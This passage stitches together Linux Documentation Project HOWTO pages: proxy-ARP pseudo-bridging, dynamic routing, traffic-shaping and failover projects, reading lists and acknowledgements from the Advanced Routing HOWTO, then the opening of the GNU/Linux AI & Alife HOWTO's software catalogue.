So, in short, whenever a host on one side of the bridge asks for the hardware address of a host on the other, the bridge replies with a packet that says 'hand it to me'.

This way, all data traffic gets transmitted to the right place, and always passes through the bridge.

Implementing it

In the bad old days, it used to be possible to instruct the Linux Kernel to perform 'proxy-ARP' for just any subnet. So, to configure a pseudo-bridge, you would have to specify both the proper routes to both sides of the bridge AND create matching proxy-ARP rules. This is bad in that it requires a lot of typing, but also because it easily allows you to make mistakes which make your bridge respond to ARP queries for networks it does not know how to route.

With Linux 2.4/2.5 (and possibly 2.2), this possibility has been withdrawn and has been replaced by a flag in the /proc directory, called 'proxy_arp'. The procedure for building a pseudo-bridge is then:

  1. Assign an IP address to both interfaces, the 'left' and the 'right' one
  2. Create routes so your machine knows which hosts reside on the left, and which on the right
  3. Turn on proxy-ARP on both interfaces, echo 1 > /proc/sys/net/ipv4/conf/ethL/proxy_arp, echo 1 > /proc/sys/net/ipv4/conf/ethR/proxy_arp, where L and R stand for the numbers of your interfaces on the left and on the right side

Also, do not forget to turn on the ip_forwarding flag! When converting from a true bridge, you may find that this flag was turned off as it is not needed when bridging.

Another thing you might note when converting is that you need to clear the arp cache of computers in the network - the arp cache might contain old pre-bridge hardware addresses which are no longer correct.

On a Cisco, this is done using the command 'clear arp-cache', under Linux, use 'arp -d ip.address'. You can also wait for the cache to expire manually, which can take rather long.


Linux Advanced Routing & Traffic Control HOWTO: Dynamic routing - OSPF and BGP

 Next Previous Contents

17. Dynamic routing - OSPF and BGP

Once your network starts to get really big, or you start to consider 'the internet' as your network, you need tools which dynamically route your data. Sites are often connected to each other with multiple links, and more are popping up all the time.

The Internet has mostly standardised on OSPF and BGP4 (rfc1771). Linux supports both, by way of gated and zebra

While currently not within the scope of this document, we would like to point you to the definitive works:

Overview:

Cisco Systems Designing large-scale IP internetworks

For OSPF:

Moy, John T. "OSPF. The anatomy of an Internet routing protocol" Addison Wesley. Reading, MA. 1998.

Halabi has also written a good guide to OSPF routing design, but this appears to have been dropped from the Cisco web site.

For BGP:

Halabi, Bassam "Internet routing architectures" Cisco Press (New Riders Publishing). Indianapolis, IN. 1997.

also

Cisco Systems

Using the Border Gateway Protocol for interdomain routing

Although the examples are Cisco-specific, they are remarkably similar to the configuration language in Zebra :-)


Linux Advanced Routing & Traffic Control HOWTO: Other possibilities

 Next Previous Contents

18. Other possibilities

This chapter is a list of projects having to do with advanced Linux routing & traffic shaping. Some of these links may deserve chapters of their own, some are documented very well of themselves, and don't need more HOWTO.

802.1Q VLAN Implementation for Linux (site)

VLANs are a very cool way to segregate your networks in a more virtual than physical way. Good information on VLANs can be found here. With this implementation, you can have your Linux box talk VLANs with machines like Cisco Catalyst, 3Com: {Corebuilder, Netbuilder II, SuperStack II switch 630}, Extreme Ntwks Summit 48, Foundry: {ServerIronXL, FastIron}.

Update: has been included in the kernel as of 2.4.14 (perhaps 13).

Alternate 802.1Q VLAN Implementation for Linux (site)

Alternative VLAN implementation for linux. This project was started out of disagreement with the 'established' VLAN project's architecture and coding style, resulting in a cleaner overall design.

Linux Virtual Server (site)

These people are brilliant. The Linux Virtual Server is a highly scalable and highly available server built on a cluster of real servers, with the load balancer running on the Linux operating system. The architecture of the cluster is transparent to end users. End users only see a single virtual server.

In short whatever you need to loadbalance, at whatever level of traffic, LVS will have a way of doing it. Some of their techniques are positively evil! For example, they let several machines have the same IP address on a segment, but turn off ARP on them. Only the LVS machine does ARP - it then decides which of the backend hosts should handle an incoming packet, and sends it directly to the right MAC address of the backend server. Outgoing traffic will flow directly to the router, and not via the LVS machine, which does therefor not need to see your 5Gbit/s of content flowing to the world, and cannot be a bottleneck.

The LVS is implemented as a kernel patch in Linux 2.0 and 2.2, but as a Netfilter module in 2.4/2.5, so it does not need kernel patches! Their 2.4 support is still in early development, so beat on it and give feedback or send patches.

CBQ.init (site)

Configuring CBQ can be a bit daunting, especially if all you want to do is shape some computers behind a router. CBQ.init can help you configure Linux with a simplified syntax.

For example, if you want all computers in your 192.168.1.0/24 subnet (on 10mbit eth1) to be limited to 28kbit/s download speed, put this in the CBQ.init configuration file:

DEVICE=eth1,10Mbit,1Mbit
RATE=28Kbit
WEIGHT=2Kbit
PRIO=5
RULE=192.168.1.0/24

By all means use this program if the 'how and why' don't interest you. We're using CBQ.init in production and it works very well. It can even do some more advanced things, like time dependent shaping. The documentation is embedded in the script, which explains why you can't find a README.

Chronox easy shaping scripts (site)

Stephan Mueller (smueller@chronox.de) wrote two useful scripts, 'limit.conn' and 'shaper'. The first one allows you to easily throttle a single download session, like this:

# limit.conn -s SERVERIP -p SERVERPORT -l LIMIT

It works on Linux 2.2 and 2.4/2.5.

The second script is more complicated, and can be used to make lots of different queues based on iptables rules, which are used to mark packets which are then shaped.

Virtual Router Redundancy Protocol implementation (site)

This is purely for redundancy. Two machines with their own IP address and MAC Address together create a third IP Address and MAC Address, which is virtual. Originally intended purely for routers, which need constant MAC addresses, it also works for other servers.

The beauty of this approach is the incredibly easy configuration. No kernel compiling or patching required, all userspace.

Just run this on all machines participating in a service:

# vrrpd -i eth0 -v 50 10.0.0.22

And you are in business! 10.0.0.22 is now carried by one of your servers, probably the first one to run the vrrp daemon. Now disconnect that computer from the network and very rapidly one of the other computers will assume the 10.0.0.22 address, as well as the MAC address.

I tried this over here and had it up and running in 1 minute. For some strange reason it decided to drop my default gateway, but the -n flag prevented that.

This is a 'live' failover:

64 bytes from 10.0.0.22: icmp_seq=3 ttl=255 time=0.2 ms
64 bytes from 10.0.0.22: icmp_seq=4 ttl=255 time=0.2 ms
64 bytes from 10.0.0.22: icmp_seq=5 ttl=255 time=16.8 ms
64 bytes from 10.0.0.22: icmp_seq=6 ttl=255 time=1.8 ms
64 bytes from 10.0.0.22: icmp_seq=7 ttl=255 time=1.7 ms

Not *one* ping packet was lost! Just after packet 4, I disconnected my P200 from the network, and my 486 took over, which you can see from the higher latency.


Linux Advanced Routing & Traffic Control HOWTO: Further reading

 Next Previous Contents

19. Further reading

http://snafu.freedom.org/linux2.2/iproute-notes.html

Contains lots of technical information, comments from the kernel

http://www.davin.ottawa.on.ca/ols/

Slides by Jamal Hadi Salim, one of the authors of Linux traffic control

http://defiant.coinet.com/iproute2/ip-cref/

HTML version of Alexeys LaTeX documentation - explains part of iproute2 in great detail

http://www.aciri.org/floyd/cbq.html

Sally Floyd has a good page on CBQ, including her original papers. None of it is Linux specific, but it does a fair job discussing the theory and uses of CBQ. Very technical stuff, but good reading for those so inclined.

http://ceti.pl/~kravietz/cbq/NET4_tc.html

Yet another HOWTO, this time in Polish! You can copy/paste command lines however, they work just the same in every language. The author is cooperating with us and may soon author sections of this HOWTO.

Differentiated Services on Linux

Discussion on how to use Linux in a diffserv compliant environment. Pretty far removed from your everyday routing needs, but very interesting none the less. We may include a section on this at a later date.

IOS Committed Access Rate

>From the helpful folks of Cisco who have the laudable habit of putting their documentation online. Cisco syntax is different but the concepts are the same, except that we can do more and do it without routers the price of cars :-)

Docum experimental site (site)

Stef Coene is busy convincing his boss to sell Linux support, and so he is experimenting a lot, especially with managing bandwidth. His site has a lot of practical information, examples, tests and also points out some CBQ/tc bugs.

TCP/IP Illustrated, volume 1, W. Richard Stevens, ISBN 0-201-63346-9

Required reading if you truly want to understand TCP/IP. Entertaining as well.


Linux Advanced Routing & Traffic Control HOWTO: Acknowledgements

 Next Previous Contents

20. Acknowledgements

It is our goal to list everybody who has contributed to this HOWTO, or helped us demystify how things work. While there are currently no plans for a Netfilter type scoreboard, we do like to recognise the people who are helping.

  • Ron Brinker <service%emcis.com>
  • Lennert Buytenhek <buytenh@gnu.org>
  • Esteve Camps <esteve@hades.udg.es>
  • Stef Coene <stef.coene@docum.org>
  • Gerry Creager N5JXS <gerry%cs.tamu.edu>
  • Marco Davids <marco@sara.nl>
  • Jonathan Day <jd9812@my-deja.com>
  • Martin Devera aka devik <devik@cdi.cz>
  • Stephan "Kobold" Gehring <Stephan.Gehring@bechtle.de>
  • Jacek Glinkow<jglinkow%hns.com>
  • Nadeem Hasan <nhasan@usa.net>
  • Vik Heyndrickx <vik.heyndrickx@edchq.com>
  • Koos van den Hout <koos@kzdoos.xs4all.nl>
  • Martin Josefsson <gandalf%wlug.westbo.se>
  • Pawel Krawczyk <kravietz%alfa.ceti.pl>
  • Philippe Latu <philippe.latu%linux-france.org>
  • Arthur van Leeuwen <arthurvl%sci.kun.nl>
  • Jason Lunz <j@cc.gatech.edu>
  • Stuart Lynne <sl@fireplug.net>
  • Alexey Mahotkin <alexm@formulabez.ru>
  • Andreas Mohr <andi%lisas.de>
  • Wim van der Most
  • Stephan Mueller <smueller@chronox.de>
  • Ram Narula <ram@princess1.net>
  • Jorge Novo <jnovo@educanet.net>
  • Patrik <ph@kurd.nu>
  • Jason Pyeron <jason%pyeron.com>
  • Rusty Russell <rusty%rustcorp.com.au>
  • Jamal Hadi Salim <hadi%cyberus.ca>
  • David Sauer <davids%penguin.cz>
  • Sheharyar Suleman Shaikh <sss23@drexel.edu>
  • Nick Silberstein <nhsilber%yahoo.com>
  • Konrads Smelkov <konrads@interbaltika.com>
  • Andreas Steinmetz <ast%domdv.de>
  • Jason Tackaberry <tack@linux.com>
  • Charles Tassell <ctassell%isn.net>
  • Glen Turner <glen.turner%aarnet.edu.au>
  • Song Wang <wsong@ece.uci.edu>


Linux 2.4 Advanced Routing HOWTO: Further reading

 Next Previous Contents

21. Further reading

http://snafu.freedom.org/linux2.2/iproute-notes.html

Contains lots of technical information, comments from the kernel

http://www.davin.ottawa.on.ca/ols/

Slides by Jamal Hadi Salim, one of the authors of Linux traffic control

http://defiant.coinet.com/iproute2/ip-cref/

HTML version of Alexeys LaTeX documentation - explains part of iproute2 in great detail

http://www.aciri.org/floyd/cbq.html

Sally Floyd has a good page on CBQ, including her original papers. None of it is Linux specific, but it does a fair job discussing the theory and uses of CBQ. Very technical stuff, but good reading for those so inclined.

http://ceti.pl/~kravietz/cbq/NET4_tc.html

Yet another HOWTO, this time in Polish! You can copy/paste command lines however, they work just the same in every language. The author is cooperating with us and may soon author sections of this HOWTO.

Differentiated Services on Linux

Discussion on how to use Linux in a diffserv compliant environment. Pretty far removed from your everyday routing needs, but very interesting none the less. We may include a section on this at a later date.

IOS Committed Access Rate

From the helpful folks of Cisco who have the laudable habit of putting their documentation online. Cisco syntax is different but the concepts are the same, except that we can do more and do it without routers the price of cars :-)

TCP/IP Illustrated, volume 1, W. Richard Stevens, ISBN 0-201-63346-9

Required reading if you truly want to understand TCP/IP. Entertaining as well.


Linux 2.4 Advanced Routing HOWTO: Acknowledgements

 Next Previous Contents

22. Acknowledgements

It is our goal to list everybody who has contributed to this HOWTO, or helped us demystify how things work. While there are currently no plans for a Netfilter type scoreboard, we do like to recognise the people who are helping.

  • Ron Brinker <service%emcis.com>
  • Lennert Buytenhek <buytenh@gnu.org>
  • Esteve Camps <esteve@hades.udg.es>
  • Marco Davids <marco@sara.nl>
  • Stephan "Kobold" Gehring <Stephan.Gehring@bechtle.de>
  • Nadeem Hasan <nhasan@usa.net>
  • Vik Heyndrickx <vik.heyndrickx@edchq.com>
  • Koos van den Hout <koos@kzdoos.xs4all.nl>
  • Philippe Latu <philippe.latu%linux-france.org>
  • Jason Lunz <j@cc.gatech.edu>
  • Alexey Mahotkin <alexm@formulabez.ru>
  • Pawel Krawczyk <kravietz%alfa.ceti.pl>
  • Wim van der Most
  • Stephan Mueller <smueller@chronox.de>
  • Ram Narula <ram@princess1.net>
  • Jorge Novo <jnovo@educanet.net>
  • Patrik <ph@kurd.nu>
  • Jason Pyeron <jason%pyeron.com>
  • Rusty Russell (with apologies for always misspelling your name)
  • Jamal Hadi Salim <hadi%cyberus.ca>
  • Sheharyar Suleman Shaikh <sss23@drexel.edu>
  • Nick Silberstein <nhsilber%yahoo.com>
  • Konrads Smelkov <konrads@interbaltika.com>
  • Jason Tackaberry <tack@linux.com>
  • Charles Tassell <ctassell%isn.net>
  • Glen Turner <glen.turner%aarnet.edu.au>
  • Song Wang <wsong@ece.uci.edu>


GNU/Linux AI & Alife HOWTO

by John Eikenberry

v1.7, 9 Feb 2002

This howto mainly contains information about, and links to, various AI related software libraries, applications, etc. that work on the GNU/Linux platform. All of it is (at least) free for personal use. The new master page for this document is http://zhar.net/gnu-linux/howto/

1. Introduction

  • 1.1 Purpose
  • 1.2 Where to find this software
  • 1.3 Updates and comments
  • 1.4 Copyright/License

2. Traditional Artificial Intelligence

  • 2.1 AI class/code libraries
  • 2.2 AI software kits, applications, etc.

3. Connectionism

  • 3.1 Connectionist class/code libraries
  • 3.2 Connectionist software kits/applications

4. Evolutionary Computing

  • 4.1 EC class/code libraries
  • 4.2 EC software kits/applications

5. Alife & Complex Systems

  • 5.1 Alife & CS class/code libraries
  • 5.2 Alife & CS software kits, applications, etc.

6. Agents

7. Programming languages


GNU/Linux AI & Alife HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Purpose

The GNU/Linux OS has evolved from its origins in hackerdom to a full blown UNIX, capable of rivaling any commercial UNIX. It now provides an inexpensive base to build a great workstation. It has shed its hardware dependencies, having been ported to DEC Alphas, Sparcs, PowerPCs, and many others. This potential speed boost along with its networking support will make it great for workstation clusters. As a workstation it allows for all sorts of research and development, including artificial intelligence and artificial life.

The purpose of this Howto is to provide a source to find out about various software packages, code libraries, and anything else that will help someone get started working with (and find resources for) artificial intelligence, artificial life, etc. All done with GNU/Linux specifically in mind.

1.2 Where to find this software

All this software should be available via the net (ftp || http). The links to where to find it will be provided in the description of each package. There will also be plenty of software not covered on these pages (which is usually platform independent) located on one of the resources listed on the links section of the Master Site (given above).

1.3 Updates and comments

If you find any mistakes, know of updates to one of the items below, or have problems compiling any of the applications, please mail me at: jae@NOSPAM-zhar.net and I'll see what I can do.

If you know of any AI/Alife applications, class libraries, etc. Please email me about them. Include your name, ftp and/or http sites where they can be found, plus a brief overview/commentary on the software (this info would make things a lot easier on me... but don't feel obligated ;).

I know that keeping this list up to date and expanding it will take quite a bit of work. So please be patient (I do have other projects). I hope you will find this document helpful.

1.4 Copyright/License

Copyright (c) 1996-2000 John A. Eikenberry

LICENSE

This document may be reproduced and distributed in whole or in part, in any medium physical or electronic, provided that this license notice is displayed in the reproduction. Commercial redistribution is permitted and encouraged. Thirty days advance notice, via email to the author, of redistribution is appreciated, to give the authors time to provide updated documents.

A. REQUIREMENTS OF MODIFIED WORKS

All modified documents, including translations, anthologies, and partial documents, must meet the following requirements:

  • The modified version must be labeled as such.
  • The person making the modifications must be identified.
  • Acknowledgement of the original author must be retained.
  • The location of the original unmodified document be identified.
  • The original author's name(s) may not be used to assert or imply endorsement of the resulting document without the original author's permission.

In addition it is requested (not required) that:

  • The modifications (including deletions) be noted.
  • The author be notified by email of the modification in advance of redistribution, if an email address is provided in the document.

As a special exception, anthologies of LDP documents may include a single copy of these license terms in a conspicuous location within the anthology and replace other copies of this license with a reference to the single copy of the license without the document being considered "modified" for the purposes of this section.

Mere aggregation of LDP documents with other documents or programs on the same media shall not cause this license to apply to those other works.

All translations, derivative documents, or modified documents that incorporate this document may not have more restrictive license terms than these, except that you may require distributors to make the resulting document available in source format.


GNU/Linux AI & Alife HOWTO: Traditional Artificial Intelligence

 Next Previous Contents

2. Traditional Artificial Intelligence

Traditional AI is based around the ideas of logic, rule systems, linguistics, and the concept of rationality. At its roots are programming languages such as Lisp and Prolog. Expert systems are the largest successful example of this paradigm. An expert system consists of a detailed knowledge base and a complex rule system to utilize it. Such systems have been used for such things as medical diagnosis support and credit checking systems.

2.1 AI class/code libraries

These are libraries of code or classes for use in programming within the artificial intelligence field. They are not meant as stand alone applications, but rather as tools for building your own applications.

ACL2

  • Web site: www.telent.net/cliki/ACL2

ACL2 (A Computational Logic for Applicative Common Lisp) is a theorem prover for industrial applications. It is both a mathematical logic and a system of tools for constructing proofs in the logic. ACL2 works with GCL (GNU Common Lisp).

AI Search II

  • WEB site: www.bell-labs.com/topic/books/ooai-book/
Submitted by: Peter M. Bouthoorn

Basically, the library offers the programmer a set of search algorithms that may be used to solve all kind of different problems. The idea is that when developing problem solving software the programmer should be able to concentrate on the representation of the problem to be solved and should not need to bother with the implementation of the search algorithm that will be used to actually conduct the search. This idea has been realized by the implementation of a set of search classes that may be incorporated in other software through C++'s features of derivation and inheritance. The following search algorithms have been implemented:

  • depth-first tree and graph search.
  • breadth-first tree and graph search.
  • uniform-cost tree and graph search.
  • best-first search.
  • bidirectional depth-first tree and graph search.
  • bidirectional breadth-first tree and graph search.
  • AND/OR depth tree search.
  • AND/OR breadth tree search.

This library has a corresponding book, " Object-Oriented Artificial Instelligence, Using C++".

Chess In Lisp (CIL)

  • FTP site: chess.onenet.net/pub/chess/uploads/projects/

The CIL (Chess In Lisp) foundation is a Common Lisp implementaion of all the core functions needed for development of chess applications. The main purpose of the CIL project is to get AI researchers interested in using Lisp to work in the chess domain.

DAI

  • Web site: starship.python.net/crew/gandalf/DNET/AI/

A library for the Python programming language that provides an object oriented interface to the CLIPS expert system tool. It includes an interface to COOL (CLIPS Object Oriented Language) that allows:

  • Investigate COOL classes
  • Create and manipulate with COOL instances
  • Manipulate with COOL message-handler's
  • Manipulate with Modules

HTK

  • Web site: htk.eng.cam.ac.uk

The Hidden Markov Model Toolkit (HTK) is a portable toolkit for building and manipulating hidden Markov models. HTK consists of a set of library modules and tools available in C source form. The tools provide sophisticated facilities for speech analysis, HMM training, testing and results analysis. The software supports HMMs using both continuous density mixture Gaussians and discrete distributions and can be used to build complex HMM systems. The HTK release contains extensive documentation and examples.

JACK

  • Web site: www.pms.informatik.uni-muenchen.de/software/jack/

JACK is a new library providing constraint programming and search for Java.

  • JACK consists of three components:
  • - JCHR: Java Constraint Handling Rules. A high-level language to write constraint solvers.
  • - JASE: Java Abstract Search Engine. A generic search engine for JCHR to solve constraint problems.
  • - VisualCHR: An interactive tool to visualize JCHR computations.
Source and documentation available from link above.

LK

  • Web site: www.cs.utoronto.ca/~neto/research/lk/

LK is an implementation of the Lin-Kernighan heuristic for the Traveling Salesman Problem and for the minimum weight perfect matching problem. It is tuned for 2-d geometric instances, and has been applied to certain instances with up to a million cities. Also included are instance generators and Perl scripts for munging TSPLIB instances.

This implementation introduces ``efficient cluster compensation'', an experimental algorithmic technique intended to make the Lin-Kernighan heuristic more robust in the face of clustered data.

Nyquist

  • Web site: www.cs.cmu.edu/afs/cs.cmu.edu/project/music/web/music.html

The Computer Music Project at CMU is developing computer music and interactive performance technology to enhance human musical experience and creativity. This interdisciplinary effort draws on Music Theory, Cognitive Science, Artificial Intelligence and Machine Learning, Human Computer Interaction, Real-Time Systems, Computer Graphics and Animation, Multimedia, Programming Languages, and Signal Processing. A paradigmatic example of these interdisciplinary efforts is the creation of interactive performances that couple human musical improvisation with intelligent computer agents in real-time.

PDKB

  • Web site: lynx.eaze.net/~pdkb/web/
  • SourceForge site: sourceforge.net/project/pdkb

Public Domain Knowledge Bank (PDKB) is an Artificial Intelligence Knowledge Bank of common sense rules and facts. It is based on the Cyc Upper Ontology and the MELD language.

Python Fuzzy Logic Module

  • FTP site: ftp://ftp.csh.rit.edu/pub/members/retrev/

A simple python module for fuzzy logic. The file is 'fuz.tar.gz' in this directory. The author plans to also write a simple genetic algorithm and a neural net library as well. Check the 00_index file in this directory for release info.

QUANT1

  • Web site: linux.irk.ru/projects/QUANT/

QUANT/1 stands for type QUANTifier. It aims to be an alternative to Prolog-like (Resulutional-like) systems. Main features include a lack of necessity for eliminating Quantifiers, scolemisation, ease of comprehension, large scale formulae operation, acceptance of nonHorn formulaes, and Iterative deeping. The actual library implemented in this project is called ATPPCF (Automatic Theorem Prover in calculus of Positively Constructed Formulae).

ATPPCF will be a library (inference engine) and an extension of the Predicate Calculus Language as a new logical language. The library will be incorporable in another software such as TCL, Python, Perl. The engine's primary inference method will be the "search of inference in language of Positively Constructed Formulas (PCFs)" (a subset of Predicate Calculus well translated in both directions). The language will be used as scripting language to the engine. But there will be possibility to replace it with extensions languages of main software.

Screamer

  • Web site: www.cis.upenn.edu/~screamer-tools/home.html

Screamer is an extension of Common Lisp that adds support for nondeterministic programming. Screamer consists of two levels. The basic nondeterministic level adds support for backtracking and undoable side effects. On top of this nondeterministic substrate, Screamer provides a comprehensive constraint programming language in which one can formulate and solve mixed systems of numeric and symbolic constraints. Together, these two levels augment Common Lisp with practically all of the functionality of both Prolog and constraint logic programming languages such as CHiP and CLP(R). Furthermore, Screamer is fully integrated with Common Lisp. Screamer programs can coexist and interoperate with other extensions to Common Lisp such as CLOS, CLIM and Iterate.

ThoughtTreasure

  • Web site: www.signiform.com/tt/htm/tt.htm

ThoughtTreasure is a project to create a database of commonsense rules for use in any application. It consists of a database of a little over 100K rules and a C API to integrate it with your applications. Python, Perl, Java and TCL wrappers are already available.

2.2 AI software kits, applications, etc.

These are various applications, software kits, etc. meant for research in the field of artificial intelligence. Their ease of use will vary, as they were designed to meet some particular research interest more than as an easy to use commercial package.

ASA - Adaptive Simulated Annealing

  • Web site: www.ingber.com/#ASA-CODE
  • FTP site: ftp.ingber.com/

ASA (Adaptive Simulated Annealing) is a powerful global optimization C-code algorithm especially useful for nonlinear and/or stochastic systems.

ASA is developed to statistically find the best global fit of a nonlinear non-convex cost-function over a D-dimensional space. This algorithm permits an annealing schedule for 'temperature' T decreasing exponentially in annealing-time k, T = T_0 exp(-c k^1/D). The introduction of re-annealing also permits adaptation to changing sensitivities in the multi-dimensional parameter-space. This annealing schedule is faster than fast Cauchy annealing, where T = T_0/k, and much faster than Boltzmann annealing, where T = T_0/ln k.

Babylon

  • FTP site: ftp.gmd.de/gmd/ai-research/Software/Babylon/

BABYLON is a modular, configurable, hybrid environment for developing expert systems. Its features include objects, rules with forward and backward chaining, logic (Prolog) and constraints. BABYLON is implemented and embedded in Common Lisp.

cfengine

  • Web site: www.iu.hio.no/cfengine/

Cfengine, or the configuration engine is a very high level language for building expert systems which administrate and configure large computer networks. Cfengine uses the idea of classes and a primitive form of intelligence to define and automate the configuration of large systems in the most economical way possible. Cfengine is design to be a part of computer immune systems.

CLEARS

  • Web site: ???? (anyone know where to find this anymore)

The CLEARS system is an interactive graphical environment for computational semantics. The tool allows exploration and comparison of different semantic formalisms, and their interaction with syntax. This enables the user to get an idea of the range of possibilities of semantic construction, and also where there is real convergence between theories.

CLIG

  • Web site: www.ags.uni-sb.de/~konrad/clig.html

CLIG is an interactive, extendible grapher for visualizing linguistic data structures like trees, feature structures, Discourse Representation Structures (DRS), logical formulas etc. All of these can be freely mixed and embedded into each other. The grapher has been designed both to be stand-alone and to be used as an add-on for linguistic applications which display their output in a graphical manner.

CLIPS

  • Web site: www.ghg.net/clips/CLIPS.html

CLIPS is a productive development and delivery expert system tool which provides a complete environment for the construction of rule and/or object based expert systems.

CLIPS provides a cohesive tool for handling a wide variety of knowledge with support for three different programming paradigms: rule-based, object-oriented and procedural. Rule-based programming allows knowledge to be represented as heuristics, or "rules of thumb," which specify a set of actions to be performed for a given situation. Object-oriented programming allows complex systems to be modeled as modular components (which can be easily reused to model other systems or to create new components). The procedural programming capabilities provided by CLIPS are similar to capabilities found in languages such as C, Pascal, Ada, and LISP.

EMA-XPS - A Hybrid Graphic Expert System Shell

  • Web site: www.iai.uni-wuppertal.de/EMA-XPS/

EMA-XPS is a hybrid graphic expert system shell based on the ASCII-oriented shell Babylon 2.3 of the German National Research Center for Computer Sciences (GMD). In addition to Babylon's AI-power (object oriented data representation, forward and backward chained rules - collectible into sets, horn clauses, and constraint networks) a graphic interface based on the X11 Window System and the OSF/Motif Widget Library has been provided.

FOOL & FOX

  • Web site: rhaug.de/fool/
  • FTP site: ftp.informatik.uni-oldenburg.de/pub/fool/

FOOL stands for the Fuzzy Organizer OLdenburg. It is a result from a project at the University of Oldenburg. FOOL is a graphical user interface to develop fuzzy rulebases. FOOL will help you to invent and maintain a database that specifies the behavior of a fuzzy-controller or something like that.

FOX is a small but powerful fuzzy engine which reads this database, reads some input values and calculates the new control value.

FUF and SURGE

  • Web site: www.cs.bgu.ac.il/research/projects/surge/index.htm
  • FTP site: ftp.cs.bgu.ac.il/pub/fuf/

FUF is an extended implementation of the formalism of functional unification grammars (FUGs) introduced by Martin Kay specialized to the task of natural language generation. It adds the following features to the base formalism:

  • Types and inheritance.
  • Extended control facilities (goal freezing, intelligent backtracking).
  • Modular syntax.
These extensions allow the development of large grammars which can be processed efficiently and can be maintained and understood more easily. SURGE is a large syntactic realization grammar of English written in FUF. SURGE is developed to serve as a black box syntactic generation component in a larger generation system that encapsulates a rich knowledge of English syntax. SURGE can also be used as a platform for exploration of grammar writing with a generation perspective.

The Grammar Workbench

  • Web site: ??? www.cs.kun.nl/agfl/

Seems to be obsolete??? Its gone from the site, though its parent project is still ongoing.

The Grammar Workbench, or GWB for short, is an environment for the comfortable development of Affix Grammars in the AGFL-formalism. Its purposes are:

  • to allow the user to input, inspect and modify a grammar;
  • to perform consistency checks on the grammar;
  • to compute grammar properties;
  • to generate example sentences;
  • to assist in performing grammar transformations.

GSM Suite

  • Web site: www.slip.net/~andrewm/gsm/

The GSM Suite is a set of programs for using Finite State Machines in a graphical fashion. The suite consists of programs that edit, compile, and print state machines. Included in the suite is an editor program, gsmedit, a compiler, gsm2cc, that produces a C++ implementation of a state machine, a PostScript generator, gsm2ps, and two other minor programs. GSM is licensed under the GNU Public License and so is free for your use under the terms of that license.

Illuminator

  • Web site: documents.cfar.umd.edu/resources/source/illuminator.html

Illuminator is a toolset for developing OCR and Image Understanding applications. Illuminator has two major parts: a library for representing, storing and retrieving OCR information, heretofore called dafslib, and an X-Windows "DAFS" file viewer, called illum. Illuminator and DAFS lib were designed to supplant existing OCR formats and become a standard in the industry. They particularly are extensible to handle more than just English.

The features of this release:

  • 5 magnification levels for images
  • flagged characters and words
  • unicode support -- American, British, French, German, Greek, Italian, MICR, Norwegian, Russian, Spanish, Swedish, keyboards
  • reads DAFS, TIFF's, PDA's (image only)
  • save to DAFS, ASCII/UTF or Unicode
  • Entity Viewer - shows properties, character choices, bounding boxes image fragment for a selected entity, change type, change content, hierarchy mode

Isabelle

  • Web site: isabelle.in.tum.de

Isabelle is a popular generic theorem prover developed at Cambridge University and TU Munich. Existing logics like Isabelle/HOL provide a theorem proving environment ready to use for sizable applications. Isabelle may also serve as framework for rapid prototyping of deductive systems. It comes with a large library including Isabelle/HOL (classical higher-order logic), Isabelle/HOLCF (Scott's Logic for Computable Functions with HOL), Isabelle/FOL (classical and intuitionistic first-order logic), and Isabelle/ZF (Zermelo-Fraenkel set theory on top of FOL).

Jess, the Java Expert System Shell

  • Web site: herzberg.ca.sandia.gov/jess/

Jess is a clone of the popular CLIPS expert system shell written entirely in Java. With Jess, you can conveniently give your applets the ability to 'reason'. Jess is compatible with all versions of Java starting with version 1.0.2. Jess implements the following constructs from CLIPS: defrules, deffunctions, defglobals, deffacts, and deftemplates.

learn

  • FTP site: sunsite.unc.edu/pub/Linux/apps/cai/

Learn is a vocable learning program with memory model.

LISA

  • Web site: lisa.sourceforge.net

LISA (Lisp-based Intelligent Software Agents) is a production-rule system heavily influenced by JESS (Java Expert System Shell). It has at its core a reasoning engine based on the Rete pattern matching algorithm. LISA also provides the ability to reason over ordinary CLOS objects.

NICOLE

  • Web site: nicole.sourceforge.net

NICOLE (Nearly Intelligent Computer Operated Language Examiner) is a theory or experiment that if a computer is given enough combinations of how words, phrases and sentences are related to one another, it could talk back to you. It is an attempt to simulate a conversation by learning how words are related to other words. A human communicates with NICOLE via the keyboard and NICOLE responds back with its own sentences which are automatically generated, based on what NICOLE has stored in it's database. Each new sentence that has been typed in, and NICOLE doesn't know about, is included into NICOLE's database, thus extending the knowledge base of NICOLE.

Otter: An Automated Deduction System

  • Web site: www-unix.mcs.anl.gov/AR/otter/

Our current automated deduction system Otter is designed to prove theorems stated in first-order logic with equality. Otter's inference rules are based on resolution and paramodulation, and it includes facilities for term rewriting, term orderings, Knuth-Bendix completion, weighting, and strategies for directing and restricting searches for proofs. Otter can also be used as a symbolic calculator and has an embedded equational programming system.

PVS

  • Web site: pvs.csl.sri.com/

PVS is a verification system: that is, a specification language integrated with support tools and a theorem prover. It is intended to capture the state-of-the-art in mechanized formal methods and to be sufficiently rugged that it can be used for significant applications. PVS is a research prototype: it evolves and improves as we develop or apply new capabilities, and as the stress of real use exposes new requirements.

SNePS

  • Web site: www.cse.buffalo.edu/sneps/
  • FTP site: ftp.cse.buffalo.edu/pub/sneps/

The long-term goal of The SNePS Research Group is the design and construction of a natural-language-using computerized cognitive agent, and carrying out the research in artificial intelligence, computational linguistics, and cognitive science necessary for that endeavor. The three-part focus of the group is on knowledge representation, reasoning, and natural-language understanding and generation. The group is widely known for its development of the SNePS knowledge representation/reasoning system, and Cassie, its computerized cognitive agent.

Soar

  • Web site: ai.eecs.umich.edu/soar/

Soar has been developed to be a general cognitive architecture. We intend ultimately to enable the Soar architecture to:

  • work on the full range of tasks expected of an intelligent agent, from highly routine to extremely difficult, open-ended problems
  • represent and use appropriate forms of knowledge, such as procedural, declarative, episodic, and possibly iconic
  • employ the full range of problem solving methods
  • interact with the outside world and
  • learn about all aspects of the tasks and its performance on them.
In other words, our intention is for Soar to support all the capabilities required of a general intelligent agent.

TCM

  • Web site: ??? wwwis.cs.utwente.nl:8080/~tcm/index.html
  • FTP site: ftp.cs.vu.nl/pub/tcm/

TCM (Toolkit for Conceptual Modeling) is our suite of graphical editors. TCM contains graphical editors for Entity-Relationship diagrams, Class-Relationship diagrams, Data and Event Flow diagrams, State Transition diagrams, Jackson Process Structure diagrams and System Network diagrams, Function Refinement trees and various table editors, such as a Function-Entity table editor and a Function Decomposition table editor. TCM is easy to use and performs numerous consistency checks, some of them immediately, some of them upon request.

WEKA

  • Web site: lucy.cs.waikato.ac.nz/~ml/
